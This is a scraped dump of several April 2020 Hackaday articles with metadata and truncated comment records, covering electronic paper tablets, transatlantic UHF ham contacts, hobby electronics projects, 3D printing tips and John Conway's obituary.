"author": "Dj Biohazard",
"timestamp": "2020-04-13T16:22:25",
"content": "Would’ve been cool if you were to take some of the plastic soup out of the ocean, shred it, made filament and then printed this like some unnatural circle of life. Still cool though!",
"parent_id... | 1,760,373,520.056574 | ||
https://hackaday.com/2020/04/13/will-2020-finally-be-the-year-of-electronic-paper/ | Will 2020 (Finally) Be The Year Of Electronic Paper? | Tom Nardi | [
"Featured",
"handhelds hacks",
"Interest",
"Slider"
] | [
"eink",
"electronic paper",
"epaper",
"ereader",
"kindle",
"reMarkable"
] | These days paper is being phased out whenever possible, and while we’re still far from being a completely digital society, the last decade or two has seen a huge reduction in the amount of paper the average person deals with on a daily basis. At the very least, we seem a lot closer to a future without the printed page than we are flying cars or any of the other concepts we generally associate with the far-flung future.
That said, there’s still something undeniably appealing about reading on paper. The idea of squirting ink on a piece of thin wood might seem increasingly archaic to us, but it sure does look nice when you hold it in your hand. Which is exactly why so much effort has been put into recreating the look of printed paper in electronic form; we all love the experience of paper, but the traditional execution doesn’t align itself particularly well with modern sensibilities.
Of course electronic “eReaders”, most notably the Kindle line from Amazon, have gone a long way towards making this a reality. At least for reading books, anyway. But what about magazines, newspapers, or even the lowly notebook we keep by the bench to jot down measurements or ideas? A PDF datasheet, with graphics where the grey tones matter? Being able to carry a whole bookshelf worth of novels in your bag is incredible, but despite what science fiction has promised us since
2001: A Space Odyssey
, we’re still consuming plenty of media off of dead trees.
But that might be changing soon. This year will see the release of two tablets that promise to deliver an experience much closer to reading and writing on traditional paper than anything we’ve seen previously. They certainly aren’t cheap, and it’s too early to tell how much is just hype, but these devices could end up being an important step towards the paperless future we’ve been dreaming of.
Going Beyond Books
There’s a number of eReaders on the market today, and they’re all fairly similar in terms of hardware. Whether you get a Kindle from Amazon, a Nook from Barnes and Noble, or support the underdog and go with a Kobo, the technology isn’t all that different. All of them will be using a roughly six to eight inch front-lit eInk display that shows monochrome text and images at somewhere north of 200 DPI. Of course, it should come as no surprise that this screen technology has standardized over the years; after all, the pages of most novels look pretty much the same once you get past the dust jacket anyway.
reMarkable’s screen is designed to feel like real paper.
These devices have evolved to be nearly perfect tools for reading novels on the go, but they aren’t good for much of anything else. Occasionally there have been attempts to expand their core functionality: Amazon at one time had a Kindle with a full QWERTY keyboard, and the Nooks had rudimentary web browsers, but that’s all in the past now. It’s clear that everyone making eReaders is more than happy to stick with the status quo so long as it keeps the money coming in.
Luckily, not everyone is worried about playing it safe. In 2017 reMarkable launched their first “paper tablet” that was designed specifically to recreate the experience of using a standard notepad. The company worked closely with E Ink Holdings, the the Taiwanese company that actually makes many of the screens we see used in eReaders, to come up with a proprietary textured display that looks and feels like traditional paper when the user writes on it with a stylus. It was an impressive piece of hardware, but a tough sell for the casual user at $700.
This year the company will start shipping the 10 inch reMarkable 2
, which is said to be an improvement on the original in every way. The new 10 inch tablet will sell for $399, lasts three times longer on battery power, and critically, halves the stylus response time to just 20 milliseconds. This is perhaps the most important aspect of any electronic replacement for traditional notebooks, as there’s obviously zero latency when putting pen to paper.
Sony Hasn’t Given Up
Most people probably associate eInk displays with the Kindle, and frankly, it’s hard to blame them. Amazon has dominated the eReader market to the point that their particular device is basically the de facto standard. But it was actually Sony, all the way back in 2004, that brought the first eReader to market. In fact, Sony’s reader was already on its third hardware generation before Amazon released the Kindle in 2007.
Sony’s large format Digital Paper. Maybe you can read a datasheet on it!
Despite being first to market, Sony couldn’t compete against the retail juggernaut and shelved the product line in 2014. But while the company would never again release an eInk reader, they certainly didn’t abandon the technology itself. Shortly after ending sales of their consumer eReader, they unveiled the Digital Paper DPTS1. At $1,100 it was certainly not for the casual user, but over the years subsequent models brought the price down to somewhat more reasonable levels.
In 2020, Sony is slated to
refresh the Digital Paper line with a new 13 inch model
. Not much is known about the new Digital Paper other than the fact it will have the standard incremental upgrades in processing power, RAM, and storage capacity that we’ve become used to with mobile devices. Given the larger screen size when compared to the reMarkable 2 it will almost certainly be more expensive, though it’s expected to stay under the $600 price point that the earlier Digital Paper versions eventually stabilized at.
Priced To Sell
It might not seem like it, but the fact that both of these fairly high-profile devices will be available this year for $400 to $600 is a pretty big deal. While they’d hardly be considered budget devices for hackers such as ourselves, it’s low enough that you don’t necessarily have to be a doctor or lawyer to justify the purchase.
It’s also no coincidence that Amazon released the original Kindle at $399. It seems ludicrous today, but back then it was seen as a fair price for such an advanced piece of hardware. You have to remember that at this point,
electronic paper was so rare that most people had never even seen it before
. In fact, the name Kindle was specifically chosen because it was believed the device would “start a fire” of digital readers; a prediction which clearly came to pass.
Will these similarly priced paper tablets start their own fire? It’s difficult to say. What ended up being the sweet spot for eReaders might not be the same for electronic paper tablets. But no matter what happens, these two devices are a clear indication that the technology is not only getting better, but it’s getting cheaper. The reMarkable 2 or new Sony Digital Paper may not end up replacing your trusty bench notebook this year, but the next generation that’s inspired by them might have a pretty good shot. | 85 | 18 | [
{
"comment_id": "6236842",
"author": "Thinkerer",
"timestamp": "2020-04-13T14:52:58",
"content": "The more important tipping point was reached a few years ago with Adobe’s free reader allowing on-screen notation of .pdf documents with stylus/keyboard import. At that point the number of my students ... | 1,760,373,520.295465 | ||
https://hackaday.com/2020/04/13/hams-cross-the-atlantic-on-uhf/ | Hams Cross The Atlantic On UHF | Al Williams | [
"Radio Hacks"
] | [
"DX",
"FT8",
"ham radio"
] | We often think of ham radio operators talking to exotic faraway lands, and that’s true for hams using the HF bands (below 30 MHz), especially if they have nice antennas. Modern living has made it much harder to have those big antenna farms, and today’s ham is more likely talking on VHF or UHF frequencies with very limited range under normal circumstances. Sure, you can use a repeater or bounce your signal from a satellite or the moon, but normal direct communication is normally going to be less than a typical commercial FM radio station. But on April 7th, two hams
communicated across the Atlantic
on 432 MHz — a UHF frequency. The distance was almost 4,000 km.
Notice we didn’t say they talked, but they communicated. The contact was via a somewhat controversial mode called
FT8
which uses weak signal techniques to allow two computers to send limited amounts of information to each other. However, on April 10, the two stations reported a single sideband voice contact after they noticed the band conditions improving on the FT8 signal.
The two stations had good equipment, but nothing out of the ordinary. FG8OJ in Guadeloupe used a 100W transmitter and an 18 element yagi which is not terribly large at that frequency. D4VHF was on the Cape Verde Islands at the time of the contact. FG4ST also made a connection with D4VHF using only a vertical antenna.
Propagation was, obviously, very good to allow this to happen (the image above is from F5LEN’s prediction for that day). The theory is that the signals rode close to the ocean waves in a mode known as ducting. There were other reception reports, so the incident wasn’t isolated.
Normally this kind of thing requires active or passive bouncing of a signal. Repeaters have a limited range. The moon and satellites can take you further but require some work. Hams have even used reflections from airplanes as an in-between solution. | 6 | 3 | [
{
"comment_id": "6237012",
"author": "ScriptGiddy",
"timestamp": "2020-04-13T21:52:05",
"content": "Reflections from airplanes? I’d love to learn more about that…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6237043",
"author": "RichV",
"ti... | 1,760,373,522.111597 | ||
https://hackaday.com/2020/04/13/three-years-of-hardwarex-where-are-they-now/ | Three Years Of HardwareX: Where Are They Now? | Orlando Hoilett | [
"hardware",
"Science",
"Slider"
] | [
"academia",
"Elsevier",
"HardwareX",
"oshw",
"science"
] | After three years of online publications,
HardwareX
may have solidified itself as an academic journal for open-source hardware.
We originally wrote about HardwareX back in 2016
. At the time,
HardwareX hadn’t even published its first issue
and only begun soliciting manuscripts. Now after three years of publishing, six issues as of October 2019 (with the seventh scheduled for April 2020), and an impact factor of 4.33, it’s fair to say that Elsevier’s push into open-access publications is on a path to success.
To give you a bit of background, HardwareX aims to
promote the reproducibility of scientific work
by giving researchers an avenue to publish all the hardware and software hacks that often get buried in traditional manuscripts. The format of HardwareX articles is a bit different than most academic journals.
HardwareX articles look more like project pages
similar to
Hackaday.io
. (Maybe we inspired them a bit? Who knows.)
It’s a bold attempt on Elsevier’s part because although open-access is held as an ideal scenario for scientific work,
such efforts often come under quite a bit of scrutiny in the academic community
. Don’t ask us. We can’t relate.
Either way, we genuinely wish Elsevier all the best and will keep our eyes on HardwareX.
Maybe some of our readers should consider publishing their projects in HardwareX. | 8 | 4 | [
{
"comment_id": "6236790",
"author": "Osgeld",
"timestamp": "2020-04-13T13:22:08",
"content": "similar to hackaday.io? you mean nearly broken and the content only fills 1/3rd of the right of the screen in a endless stream of text? Super we need more of that …",
"parent_id": null,
"depth": 1,... | 1,760,373,522.216253 | ||
https://hackaday.com/2020/04/13/touch-face-lights-chase-sirens-race/ | Touch Face, Lights Chase, Sirens Race | Kristina Panos | [
"Lifehacks",
"Misc Hacks"
] | [
"accelerometer",
"Circuit Playground Express",
"classical conditioning",
"Covid-19"
] | Let’s face it — people are gonna touch their faces. Sometimes faces itch, especially during allergy season. But the first step toward quitting something like that is to become cognizant of just how often you do it.
With a bracelet like this one from [
Mauricio Martins
], your face-touching frequency will quickly become apparent
. Strap it to your favorite face-scratching arm and go about your day. The code constantly polls the accelerometer to see if your hand is in the vicinity of your visage. If so, red lights circle around and an emergency vehicle-type siren goes off to let everyone around you know you’ve sinned.
This no-touch-face bracelet is awesome because it’s simple and it works. It uses a Circuit Playground Express programmed in Make code, but it would be easy to port it to Arduino or CircuitPython. If you want to make something more elegant, we’re all for it, but you could be using this in the meantime to help condition yourself away from the habit. Check out the demo after the break.
Sometimes you gotta take a step back and make something that just works without getting all fancy.
Did you hear the one about the astrophysicist who got magnets stuck up his nose trying to solve this very problem? | 4 | 2 | [
{
"comment_id": "6236768",
"author": "Cedric Honnet",
"timestamp": "2020-04-13T11:42:56",
"content": "Similar approach for $10:https://mitmedialab.github.io/SmartBand/",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6236825",
"author": "RW ver 0.0.1",... | 1,760,373,522.064101 | ||
https://hackaday.com/2020/04/12/homebrew-loop-antenna-brings-the-shortwave-world-to-you/ | Homebrew Loop Antenna Brings The Shortwave World To You | Dan Maloney | [
"Radio Hacks"
] | [
"balun",
"Coax",
"coaxial",
"loop",
"noise",
"radio",
"sdr",
"shortwave",
"toroid",
"unun"
] | Radio may be dead in terms of delivering entertainment, but it’s times like these when the original social network comes into its own. Being able to tune in stations from across the planet to get fresh perspectives on a global event can even be a life saver. You’ll need a good antenna to do that, which is where
this homebrew loop antenna for the shortwave radio bands
shines.
To be honest, pretty much any chunk of wire will do as an antenna for most shortwave receivers. But not everyone lives somewhere where it’s possible to string up a hundred meters of wire and get a good ground connection, which could make a passive loop antenna like this a good choice. Plus, loops tend to cancel the electrical noise that’s so part of life today, which can make it easier to pull in weak, distant stations.
[Thomas]’s design is based on a length of coaxial cable, which should be stiff enough to give the loop some stability, like a low-loss RG-8 or RG-213. The coax braid and dielectric are exposed at the midpoint of the cable to create a feed point, while the shield and center conductor at the other ends are cross-connected. A 1:1 transformer is wound on a toroid core to connect to the feedpoint; [Thomas] calls it a balun but we tend to think it’s more of an unun, since both the antenna and feedline are unbalanced. He reports good results from the loop across the shortwave band.
The shortwave and ham bands are a treasure trove of information and entertainment just waiting to be explored. Check them out — you might learn something, and you might even stumble across
spies doing their thing
.
[via
RTL-SDR.com
] | 36 | 15 | [
{
"comment_id": "6236737",
"author": "Thomas Thornton",
"timestamp": "2020-04-13T06:45:41",
"content": "RE: BalUn vs UnUn: Actually, the loop itself is balanced, as the shield of the loop is not ground, but the active element of the antenna.",
"parent_id": null,
"depth": 1,
"replies": []... | 1,760,373,522.484059 | ||
https://hackaday.com/2020/04/14/altium-has-its-2kicad-moment/ | Altium Has Its 2kicad Moment | Kerry Scharfglass | [
"hardware"
] | [
"altium",
"altium designer",
"altium importer",
"importer",
"KiCAD",
"open hardware"
] | Around these parts we tend to be exponents of the KiCad lifestyle; what better way to design a PCBA than with free and open source tools that run anywhere? But there are still capabilities in commercial EDA packages that haven’t found their way into KiCad yet, so it may not always be the best tool for the job. Altium Designer is a popular non-libre option, but at up to tens of thousands of USD per seat it’s not always a good fit for users and businesses without a serious need.
It’s hard to find an exciting photo of a dialog box
What do you do as a KiCad user who encounters a design in Altium you’d like to work with? Well as of April 3rd 2020, [Thomas Pointhuber] has merged the beginnings of
a native Altium importer
into KiCad which looks to be slated for the 6.0 release. As [Thomas] himself points out in the patch submission, this is hardly the first time a 3rd party Altium importer has been published. His new work is a translation of the
Perl plugin altium2kicad
by [thesourcerer8]. And back in January another user left
a comment with links to four
other (non-KiCad) tools to handle Altium files.
If you’d like to try out this nifty new feature for yourself,
CNX has a great walkthrough
starting at building KiCad from source. As for documents to test against the classic
BeagleBone Black sources
seen above can be found at on GitHub. Head past the break to check out the very boring, but very exciting video of the importer at work, courtesy of [Thomas] himself. We can’t wait to give this a shot!
Thanks for the tip [Chris Gammell]!
Finally, importing
#altium
boards into
#kicad
is only one click away (in the developer version).
This allows to view and edit
#opensource
#hardware
which was designed with
#proprietary
software, and thus, in fact, not open for everyone.
pic.twitter.com/oogiJeyynW
— Thomas Pointhuber (@Chaos_Robotic)
April 4, 2020 | 49 | 12 | [
{
"comment_id": "6237164",
"author": "Seth",
"timestamp": "2020-04-14T11:50:15",
"content": "I’m a huge Altium fan, so I like to suggest CircuitMaker as a free alternative. It’s basically a dumbed down version of Altium, but still has great features. It’s my current go-to software for personal pcb p... | 1,760,373,522.30652 | ||
https://hackaday.com/2020/04/14/nasa-needs-help-from-gamers-and-citizen-scientists/ | NASA Needs Help From Gamers And Citizen Scientists | Al Williams | [
"Science"
] | [
"citizen science",
"coral",
"nasa"
] | NASA would like you to help them explore — not space — but the
bottom of the ocean
. For now, you’ll need an Apple device, although an Android version is in the works. While it might seem strange for the space agency to look underwater, the images they need to process are from fluid-lensing cameras that use techniques originally meant to remove distortion from the atmosphere from pictures of outer space. Turns out they can also unravel distortion caused by the ocean and clearly image coral reefs.
The phone app is in the form of a game and, according to NASA, even a first grader could play it. In the game, you are in command of an ocean research vessel, the
Nautilus
. You dive to examine coral and identify what you see. The game generates training data for a supercomputer at the Ames Research Center so it can recognize coral types even when taken with more conventional cameras.
Coral is a fascinating life form and are under threat from a variety of sources. The supercomputer will take data from Puerto Rico, Guam, and American Samoa and learn how to do the classification. Then it will apply that learning to other photographs and build a world-wide map of coral.
The game allows you to earn badges and access video content about life under the sea. The data, by the way, didn’t come from space, but from cameras on drones or conventional aircraft.
This isn’t the first time we’ve seen
crowdsourcing for scientific research
. If you want to grow your own coral, that’s a
hardware project
. | 2 | 1 | [
{
"comment_id": "6237138",
"author": "WordAlchemist",
"timestamp": "2020-04-14T09:40:33",
"content": "“Click on all of the pictures with coral in them.”… NASA gets into the CAPTCHA arena. :^)",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6237180",
"... | 1,760,373,522.341542 | ||
https://hackaday.com/2020/04/13/quieting-down-a-bandoneon-accordion-with-midi/ | Quieting Down A Bandoneon Accordion With MIDI | Danie Conradie | [
"Musical Hacks"
] | [
"accordion",
"bandoneon",
"hall effect",
"midi"
] | The bandoneon, known as the tango accordion, is quite a loud instrument to practice within the confines of an apartment, and could possibly lead to some neighborly disputes. [HLB] enjoyed playing his but wanted a way to turn down the volume a bit without, in consideration to his neighbors. Instead of building a whole soundproof room,
he decided to throw Arduino’s and MIDI at the problem
.
Bandoneons, like all accordions, are operated by pushing air from manually pumped bellows through a series of reeds, which are each opened and closed by a valve mechanism. [HLT] turned each valve lever into a simple on/off switch by attaching a magnet, with hall-effect sensors on long custom PCBs next to each row of valves. The hall effect sensors are connected to I2C I/O expander ICs which connect to an Arduino Nano, one for each side of the instrument, which sends out MIDI messages via serial. Everything is mounted inside what looks like quite an old instrument with Blu Tack to avoid having to make a lot of permanent modifications.
The bandoneon still functions normally with no permanent modifications, so to play with MIDI-only the bellow is simply not pumped. This means [HLB] can’t modulate the MIDI velocity (loudness) while playing, which he admits is a limitation but better than not playing at all. He does, however, note that he could add a pressure sensor inside the bellow if we wanted to add velocity to the midi output when neighbourliness isn’t a consideration. On the audio output side [HLB] built a small stand-alone synthesizer with an Odroid SBC running FluidSynth and a HiFi shield.
We think this in a well-executed solution to a real problem, without overdoing it on the tech side. All the details, including KiCad PCB files and Arduino code, is up on Github, so feel free to use and modify it to build on your own musical talents.
Almost every instrument can be adapted to output MIDI, and in the past few decades it’s has actually become a core part of massive, building-sized pipe organs. | 9 | 3 | [
{
"comment_id": "6237146",
"author": "François Stephany",
"timestamp": "2020-04-14T10:09:35",
"content": "If you read french, there’s a nice summary on Linufr.org:https://linuxfr.org/news/electronique-sous-gnu-linux-15-ans-de-libre-plus-tard",
"parent_id": null,
"depth": 1,
"replies": []... | 1,760,373,522.164764 | ||
https://hackaday.com/2020/04/13/simple-demo-shows-the-potential-of-magnetic-gears/ | Simple Demo Shows The Potential Of Magnetic Gears | Dan Maloney | [
"Misc Hacks"
] | [
"clutch",
"flux",
"gear",
"magnet",
"neodymium",
"pole",
"ratio",
"reduction",
"torque"
] | We’ve probably all used gears in our projects at one time or another, and even if we’re not familiar with the engineering details, the principles of transmitting torque through meshed teeth are pretty easy to understand. Magnetic gears, though, are a little less intuitive, which is why we appreciated stumbling upon
this magnetic gear drivetrain
demonstration project.
[William Fraser]’s demo may be simple, but it’s a great introduction to magnetic gearing. The stator is a block of wood with twelve bolts to act as pole pieces, closely spaced in a circle around a shaft. Both ends of the shaft have rotors, one with eleven pairs of neodymium magnets arranged in a circle with alternating polarity, and a pinion on the other side of the stator with a single pair of magnets. When the pinion is spun, the magnetic flux across the pole pieces forces the rotor to revolve in the opposite direction at a 12:1 ratio.
Watching the video below, it would be easy to assume such an arrangement would only work for low torque applications, but [William] demonstrated that the system could take a significant load before clutching out. That could even be a feature for some applications. We’ve got
an “Ask Hackaday” article on magnetic gears
if you want to dive a little deeper and see what these interesting mechanisms are good for.
Thanks to [Phil Pesek] for the tip! | 27 | 20 | [
{
"comment_id": "6237074",
"author": "DainBramage",
"timestamp": "2020-04-14T01:12:05",
"content": "I’ve often wondered about the usefulness/uselessness of magnetic couplings, but I had never thought about such a “gear reduction” setup. Fascinating!",
"parent_id": null,
"depth": 1,
"repl... | 1,760,373,522.545897 | ||
https://hackaday.com/2020/04/13/john-horton-conway-creator-of-conways-game-of-life-has-died/ | John Horton Conway, Creator Of Conway’s Game Of Life, Has Died | Mike Szczys | [
"News",
"Slider"
] | [
"conways game of life",
"game of life",
"John Horton Conway",
"obituary"
] | Programmers everywhere are familiar with Conway’s Game of Life: whether they’ve written a version themselves or simply seen the mesmerizing action resulting from the cellular automata, it’s a household name in all homes where code is spoken. On Saturday April 11th, 2020 its inventor and namesake,
John Horton Conway passed away
from COVID-19 at the age of 82.
Born in Liverpool, Conway received his PhD in mathematics in 1964 from Gonville and Caius College, Cambridge. He accepted a position at Sidney Sussex College, Cambridge which he held until joining the faculty of Princeton University in 1987. A brilliant mathematician, he received numerous awards and was well known for his work in combinatorial game theory, group theory, and theoretical physics.
Many readers will be familiar with
his Doomsday algorithm
which can be used to deduce the day of the week for any given date in your head. But by far the rockstar mathematics moment of developing Conway’s Game of Life in 1970 cements him a perpetual place of legend in computing lore. His original work on the concept used pencil and paper as the computing revolution had yet to make digital resources easily available, even to mathematics researchers like Conway.
The game uses an infinite grid of squares where all of the edges of the grid wrap around.
Four simple rules
(which can be boiled down to three if you’re clever) determine which cells live and which cells die during each frame of the “game”. The only parameters that are needed are the number and position of living cells at the start of the game, and the delay between each game frame. But the effect of this simplicity is not to be understated. The game can be coded by a novice — and it’s become a common challenge in University course work. Small errors, or intentional tweaks, in the implementation have profound effects on behavior of the game. And the effect on the person programming it for the first time can be long lasting. You could call it a mathematics gateway drug, grabbing the curiosity of the unsuspecting mind and pulling it down the rabbit hole of advanced mathematics discovery.
We’d love to celebrate his life by hearing your own stories of programming the Game of Life in the comments below. If you haven’t yet had the pleasure, now’s a great time to take on the challenge.
[Game of Life example shown in this article is
John Conway’s Game of Life – 1.0
written in Python by Nick Jarvis and Nick Wayne] | 57 | 38 | [
{
"comment_id": "6236979",
"author": "Frank",
"timestamp": "2020-04-13T20:56:43",
"content": "I last saw him on the youtube channel Numberphile, he seemed kind and was sharp as a dagger. Rest in peace and thoughts go out to those he left behind.",
"parent_id": null,
"depth": 1,
"replies"... | 1,760,373,522.645528 | ||
https://hackaday.com/2020/04/13/using-spiral-mode-to-rapidly-print-enclosures/ | Using Spiral Mode To Rapidly Print Enclosures | Tom Nardi | [
"3d Printer hacks",
"Parts"
] | [
"3D printed enclosure",
"project enclosure",
"spiral",
"vase"
] | We’ve often said that one of the best applications of desktop 3D printing is the production of custom enclosures. A bespoke case adds a touch of professionalism to any project, and considering the materials needed to print one will cost less than even the cheapest generic project box, it’s a no-brainer. There’s only one problem: it can take hours to print even a simple case.
To try and speed things up, [Electrobob] has been
experimenting with running off enclosures using spiral or “vase” mode on his 3D printer
. Unlike the normal layer-by-layer approach, in this mode, the printer’s hotend continually rises at a steady rate during the entire print. Think of it as akin to printing out a Slinky and you should get the idea.
Spiral printed boxes may need manual retouching
As you might expect, there are some trade-offs here. For one, the walls of the box can’t be very thick since the printer is only making one pass. The nozzle on most printers is 0.4 mm, but in his experiments, [Electrobob] has found he’s able to reliably double that to a wall thickness of 0.8 mm by adjusting the extrusion rate.
You also need to approach the design a bit differently during the CAD phase. Printing holes in the side of the enclosure, which would be easy enough to do normally, doesn’t really work when running in spiral mode. For those situations, [Electrobob] recommends designing a “pocket” into the side that you can come back and cut out with a knife. It will add a little time to the post-processing stage, but the time saved during the print will more than make up for it.
So how much faster are we talking about? In the example [Electrobob] shows in his write-up, the print time went from nearly two hours to just 18 minutes. The resulting enclosure obviously looks a bit different than the traditionally printed version, and isn’t as strong, but the concept still clearly holds promise for some applications. If you’re
building a sensor network that needs a bunch of enclosures
, those time savings will really add up. | 24 | 11 | [
{
"comment_id": "6236955",
"author": "Steven Clark",
"timestamp": "2020-04-13T20:20:04",
"content": "I’m pretty sure 2-perimeter vase mode is a thing people do, and it could probably go higher.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6236991",
... | 1,760,373,522.410064 | ||
https://hackaday.com/2020/04/13/a-tidy-little-obd-display-for-your-car/ | A Tidy Little OBD Display For Your Car | Jenny List | [
"Transportation Hacks"
] | [
"arduino",
"elm327",
"OBD"
] | It’s likely that many readers will have an OBD dongle through which they can peer into the inner workings of their car, but the chances are that most of us will have restricted our curiosity to the Bluetooth or USB interface it was supplied with. Not [
Frederico Souza Sant’ana
] though, because
he’s modified his OBD dongle
to expose the serial lines between its ELM327 OBD chip and its Bluetooth chip. These go to an Arduino, which powers a small information display to supplement the car’s dashboard. This can display a range of readings as can be seen in the video below the break, he has it monitoring the battery, the various temperatures in the engine bay, and the ignition parameters.
All the software and hardware details
can be found in a GitHub repository
. In hardware terms it’s a surprisingly simple unit, but it serves to remind us that OBD sniffer dongles are more versatile than we might at first imagine, and good for a bit more than hooking up our smartphones via Bluetooth. If OBD is something you’d like to visit in more depth, in the past we’ve featured
an open-source OBD interface
, and
a retrospective look at the protocol
. | 43 | 8 | [
{
"comment_id": "6236930",
"author": "Ostracus",
"timestamp": "2020-04-13T19:05:04",
"content": "The standard is now WWH-OBD ISO 27145.https://automotive.softing.com/en/standards/protocols/wwh-obd-iso-27145.htmlCombine that with telematics it should make for a great mechanics tool.https://ims.tech/o... | 1,760,373,522.728522 | ||
https://hackaday.com/2020/04/12/stitching-up-custom-belts/ | Stitching Up Custom Belts | Tom Nardi | [
"3d Printer hacks",
"Parts"
] | [
"belt",
"GT2",
"GT2 Belt",
"hot glue",
"repair",
"stitch"
] | If you’ve got a 3D printer, you’re probably familiar with the reinforced belts that are commonly used on the X and Y axis. These belts either come as long lengths that you attach to the machine on either end, or as a pre-sized loop. Traditional wisdom says you can’t just take a long length of belt and make your own custom loops out of it,
but [Marcel Varallo] had his doubts about that
.
This is a simple tip, but one that could get you out of a bind one day. Through experimentation, [Marcel] has found that you
can
use a length of so-called GT2 belt and make your own bespoke loop. The trick is, you need to attach the ends with something very strong that won’t hinder the normal operation of the belt. Anything hard or inflexible is right out the window, since the belt would bind up as soon as it had to go around a pulley.
It seems the key is to cut both ends of the belt very flat, making sure the belt pattern matches perfectly. Once they’ve been trimmed and aligned properly, you stitch them together with nylon thread. You want the stitches to be as tight as possible, and the more you do, the stronger the end result will be.
[Marcel] likes to follow this up with a bit of hot glue, being careful to make sure the hardened glue takes the shape of the belt’s teeth. The back side won’t be as important, but a thin layer is still best. The end result is a belt strong enough for most applications in just a few minutes.
Would we build a 3D printer using hand-stitched GT2 belts? Probably not. But during a global pandemic, when shipments of non-essential components are often being delayed, we could certainly see ourselves running some stitched together belts while we wait for the proper replacement to come in.
Gotta keep those face shields printing
. | 17 | 9 | [
{
"comment_id": "6236705",
"author": "Mr Name Required",
"timestamp": "2020-04-13T02:35:11",
"content": "Good to see an article on stitching and binding, one of the most effective repair techniques you can use. Often the repair can be stronger than the original part. Looks like the belt will hold up... | 1,760,373,522.784426 | ||
https://hackaday.com/2020/04/12/hackaday-links-april-12-2020/ | Hackaday Links: April 12, 2020 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links"
] | [
"70 cm",
"Aisler",
"cobol",
"Covid-19",
"FT8",
"hackaday links",
"logo",
"meatball",
"nasa",
"pcb",
"retro",
"stencils",
"transatlantic",
"uhf",
"worm",
"y2k"
] | Anyone who worked in the tech field and lived through the Y2K bug era will no doubt recall it as a time seasoned with a confusing mix of fear and optimism and tempered with a healthy dose of panic, as companies rushed to validate that systems would pass the rollover of the millennium without crashing, and to remediate systems that would. The era could well have been called “the COBOL programmers full-employment bug,” as the coders who had built these legacy systems were pulled out of retirement to fix them. Twenty years on and a different bug — the one that causes COVID-19 — is having a similarly stimulative effect on the COBOL programmer market.
New Jersey is one state seeking COBOL coders
, to deal with the crush of unemployment insurance claims, which are killing the 40-year-old mainframe systems the state’s programs run on. Interestingly, Governor Phil Murphy has only put out a call for volunteers, and will apparently not compensate COBOL coders for their time. I mean, I know people are bored at home and all, but good luck with that.
In another throwback to an earlier time, “The Worm” is back.
NASA has decided to revive its “worm” logo
, the simple block letter logo that replaced the 50s-era “Meatball” logo, the one with the red chevron bracketing a starfield with an orbiting satellite. NASA switched to the worm, named for the sinuous shape of the letters and which honestly looks like a graphic design student’s last-minute homework assignment, in the 1970s, keeping it in service through the early 1990s when the meatball was favored again. Now it looks like both logos will see service as NASA prepares to return Americans to space on their own launch vehicles.
Wait a minute, what happens when we stand this thing upright?
Looking for a little help advancing the state of your pandemic-related project? A lot of manufacturers are trying to help out as best they can, and many are offering freebies to keep you in the game. Aisler, for one, is offering
free PCBs and stencils for COVID-19 prototypes
. It looks like their rules are pretty liberal; any free and open-source project that can help with the pandemic in any way qualifies. Hats off to Aisler for doing their part.
And finally, history appears to have been made this week in the amateur radio world with
the first direct transatlantic contact on the 70-cm band
was made. It seems strange to think that it would take 120 years since transatlantic radio became reduced to practice by the likes of Marconi for this accomplishment to occur, but the 70-cm band is usually limited to line of sight, and transatlantic contacts at 430 MHz are usually done using a satellite as a relay. The contact was between stations FG8OJ on Guadaloupe Island in the Caribbean — who was involved in
an earlier, similar record on the 2-meter band
— and D4VHF on the Cape Verde Islands off the coast of Africa, and used
the digital mode FT8
. The 3,867-km contact was likely due to tropospheric ducting, where layers in the atmosphere form a refractive tunnel that can carry VHF and UHF signals much, much further than they usually go. While we’d love to see that record stretched a little more on each end, to make a truly transcontinental contact, it’s still quite an accomplishment, and we congratulate the hams involved. | 14 | 6 | [
{
"comment_id": "6236658",
"author": "RW ver 0.0.1",
"timestamp": "2020-04-12T23:20:35",
"content": "Even if you learned COBOL as someone established in IT in the 90s to deal with the Y2K bug, you’d probably be into the peak Covid-19 vulnerability bracket, which appears to be over 50s not just retir... | 1,760,373,522.840169 | ||
https://hackaday.com/2020/04/12/quarantine-clock-focuses-on-the-essential/ | Quarantine Clock Focuses On The Essential | Sven Gregori | [
"clock hacks"
] | [
"clock",
"javascript",
"kiosk",
"philips hue",
"quarantine",
"raspberry pi",
"word clock"
] | In these dire times of self quarantining, social distancing, and life as know it coming to a halt, time itself can become rather blurry, and even word clocks may seem unnecessarily precise — especially if you happen to have a more peculiar circadian rhythm. And let’s face it, chances are your usual schedule has become somwehat irrelevant by now, so why bother yourself with dates or an exact time anyway? If you can relate to this, then [mwfisher3] has
the perfect clock for you
, displaying only the day of the week and a rough estimate of how far that day has progressed.
Using a Raspberry Pi and a spare touch screen, [mwfisher3] had an easy game to begin with, so the clock itself is just Chrome running in Kiosk mode, displaying a local web site with the hours of the day mapped to an array of their textual representation. A few lines of JavaScript are then updating the web site content with the current day and “time”, and a Python script is handling the screen’s back light based on the readings from a Philips Hue motion sensor, using the
phue
library.
While this is definitely one of the simpler clock projects we’ve seen, this simplicity offers actually a great introduction to some easy JavaScript-based web displays on a Raspberry Pi without much fuzz and distraction. But if that’s not your thing, and you like things more mechanical, we’ve recently covered
this day clock that follows the same idea
, and then there’s also
this light box
for an artistic approach of getting a rough estimate of the time. | 21 | 6 | [
{
"comment_id": "6236603",
"author": "Andy",
"timestamp": "2020-04-12T20:07:17",
"content": "cool quick project,I saw something similar but analog versionhttps://dayclocks.com/",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6236655",
"author": "ROB",
"... | 1,760,373,522.891393 | ||
https://hackaday.com/2020/04/12/belt-the-quarantine-blues-into-a-homemade-mic/ | Belt The Quarantine Blues Into A Homemade Mic | Kristina Panos | [
"classic hacks"
] | [
"microphone",
"PETE",
"piezo disk"
] | If there’s any psychological good to be gleaned from quarantine, it’s that people are using the time to finish old projects while starting plenty of new ones. If you’re running out of ideas, or just want to feel better by doing some in-house recycling,
dump out that bin and make a simple microphone
.
All you need is some PETE #1 plastic, a piezo disk, and the right kind of tin can. The plastic gets heat-fused to the rolled edge of the can, and since it gets stretched and shrunk in the process, it forms a tight membrane that doubles as a percussion instrument.
